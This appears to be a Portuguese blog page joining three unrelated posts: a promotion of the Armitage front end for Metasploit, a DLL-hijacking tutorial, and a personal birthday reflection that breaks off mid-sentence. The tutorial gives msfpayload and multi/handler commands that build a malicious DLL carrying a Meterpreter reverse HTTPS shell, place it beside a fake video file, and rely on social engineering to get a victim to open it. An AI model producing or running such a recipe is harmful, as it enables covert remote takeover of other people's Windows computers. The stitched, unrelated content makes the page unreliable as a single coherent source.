O Armitage me chamou muita atencao, a primeira vez que utilizei o programa, pode perceber que se tratava de um otimo programa e um pouco parecido com o "Canvas", foi o que me levou a fazer uma requisicao para que a ferramenta pudesse se adicionada no BackTrack, uma das distro prediletas.O topico da requisicao: http://www.backtrack-linux.org/forums/tool-requests/35521-armitage-%96-cyber-attack-management-metasploit.html O programa esta disponiveis nos repositorios do backtrack, basta ir no shell e atualizar a distro:# apt-get update && apt-get upgradeDepois vai no menu Dragon > BackTrack > Penetration > ArmitageQualquer um pode contribuir com tools que se encaixam da ideologia da distro, nesse link:http://www.backtrack-linux.org/forums/tool-requests/ Agora vamos fazer um pouco sobre ela: Armitage Armitage e uma ferramenta de gestao grafica cyber ataque para Metasploit que visualiza suas targets, recomenda exploits e expoe as capacidades avancadas do framework. Armitage visa tornar Metasploit utilizavel para os profissionais de seguranca que compreendem hacking. Se voce quer aprender e crescer em Metasploit cos recursos avancados, Armitage pode ajuda-lo.Manual: http://www.fastandeasyhacking.com/manualVideos: http://www.youtube.com/watch?v=kdtMthVeC1Mhttp://www.youtube.com/watch?v=EACo2q3kgHYScreenshots: http://www.fastandeasyhacking.com/images/screenshots/launch.pnghttp://www.fastandeasyhacking.com/images/screenshots/armitage4.pngBaixar: http://www.fastandeasyhacking.com/downloadMetasploit Unleashed: http://www.offensive-security.com/metasploit-unleashed/ArmitageInstalacao: http://www.offensive-security.com/metasploit-unleashed/Armitage_SetupScanning: http://www.offensive-security.com/metasploit-unleashed/Armitage_ScanningExploracao: http://www.offensive-security.com/metasploit-unleashed/Armitage_ExploitationRef: http://www.fastandeasyhacking.com/ Estarei produzindo algumas aulas futuramente.[]' Nessa aula vou mostrar a tecnica de dll hijacker, ela consiste em colocar ou substituir uma dll padrao do sistema operacional por uma dll maliciosa. Uma vez que a dll maliciosa tenho sido modificada, e necessario que ela esteja na mesma pasta do arquivo vulneravel ou substituida o arquivo original na maquina alvo, essa falha e antiga e ja vem sendo discutida a mais de 10 anos. Nao vou alongar muito o texto, caso queiram saber mais informacoes, leia as referencias abaixo. Nesse link voce vao pode encontrar uma lista de DLL s vulneraveis e seus respectivos programas:http://www.exploit-db.com/dll-hijacking-vulnerable-applications/Na video aula, crio uma dll maliciosa e um aquivo de video falso. Fiz de forma simples, nao deixei a dll oculta para o melhor entendimento da video, mas para esse ataque se bem sucedido deve envolver um pouco de engenharia social.Comandos:msfpayload windows/meterpreter/reverse_https LHOST=IP LPORT=443 D > /Diretorio para ser salvo o arquivo/ehtrace.dll touch Video.flv use multi/handler set lhost IP set lport 443 set payload windows/meterpreter/reverse_https exploitSobre a aula:Tamanho: 69 MbFormato: AVIDuracao: 4:29Musica: Hip-Hop Hot shif once againBaixar: http://www.4shared.com/file/yqv2OQRJ/Dll-hijacker_Windows_7_.htmlOn line: http://vimeo.com/17250307REF:http://en.wikipedia.org/wiki/DLL_Hijackinghttp://www.exploit-db.com/dll-hijacking-vulnerable-applications/http://en.wikipedia.org/wiki/Dynamic-link_libraryhttp://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.htmlhttp://www.rec-sec.com/2009/05/12/dll-hijacking-vulnerability/http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=228200659 Esperei tanto tempo por esse dia... 24/10/2010 o dia em que completei 18 anos.( aaah, vamos parar com esse "Bla, Bla, Bla" )Sempre achei a minha vidinha igual a de todo o resto da face da terra; Ja fiquei feliz, triste, magoada, desiludida, me senti enganada...como todos. Mas agora parece que vejo as coisas diferentes, esse dia com certeza foi um divisor de aguas na minha vida, nao so porque eu estou mais velha ou algo parecido, e sim pos eu me sinto diferente em todos os sentidos. Aquilo que me fez chorar ontem, com certeza nao fara hoje, sei que estou imune em alguns aspectos e agora sim sinto e tenho certeza que nunca estou sozinha. Venho me solidificando espiritualmente e me sinto cada vez mais proxima de Deus e melhor, sinto-me com muita, muita vontade de aprender sobre a sua Lei. Hoje com certeza e um dia especial, pos decidi que quero ser DIFERENTE e tambem desejo que